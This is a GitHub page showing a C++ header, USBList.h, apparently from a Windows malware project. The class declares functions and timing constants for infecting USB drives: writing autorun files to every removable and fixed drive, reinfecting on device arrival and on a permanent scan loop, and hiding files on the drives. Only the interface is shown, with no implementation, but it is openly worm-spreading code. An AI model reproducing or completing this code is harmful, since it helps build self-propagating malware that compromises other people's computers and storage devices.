-
Notifications
You must be signed in to change notification settings - Fork 9
/
USBList.h
35 lines (31 loc) · 1.73 KB
/
USBList.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
#include "FunctionsWindowsNT.h"
#include "FunctionsFiles.h"
#define DELAY_INFECT_WHEN_USB_ARRIVE 5000
#define DELAY_INFECT_PERMANENT_USB_DEVICES 500
#pragma once
class USBList {
private:
static char ** USBDeviceList;
static char * strAutoRunFilenameWhenUSBArrive;
static int numElems;
static long delayInfectWhenUSBDeviceArrive;
static long delayInfectPermanentUSBDevices;
static bool inicialized;
static bool quitInfectPermanentUSBDevices;
static bool driveIsInScannedList(char * driveLetter);
static bool hideUSBFiles;
public:
static void inicialize(HINSTANCE hInstance, bool hideFiles = true, bool infectOnUSBDeviceConnect = true, long delayInfectWhenUSBArrive = DELAY_INFECT_WHEN_USB_ARRIVE, bool infectPermanentUSB = true, long delayInfectPermanentUSB = DELAY_INFECT_PERMANENT_USB_DEVICES);
static bool scanUSBRemovableAndFixedDevices();
static bool createAutorunInUSBDevice(const char * letter, const char * strAutoRunFilename);
static bool createAutorunInAllUSBDevices(const char * strAutoRunFilename);
static bool setAutoRunFilenameWhenUSBArriveOrPermanentScan(const char * strAutoRunFilename);
static char ** getUSBRemovableAndFixedList();
static char * getAutoRunFilenameWhenUSBArriveOrPermanentScan();
static void setInfectPermanentUSBDevicesValue(bool infect);
static int getNumElems() { return numElems; }
static long getDelayInfectWhenUSBDeviceArrive() { return delayInfectWhenUSBDeviceArrive; }
static long getDelayInfectPermanentUSBDevices() { return delayInfectPermanentUSBDevices; }
static bool infectPermanentUSBDevicesIsCancelled() { return quitInfectPermanentUSBDevices; }
};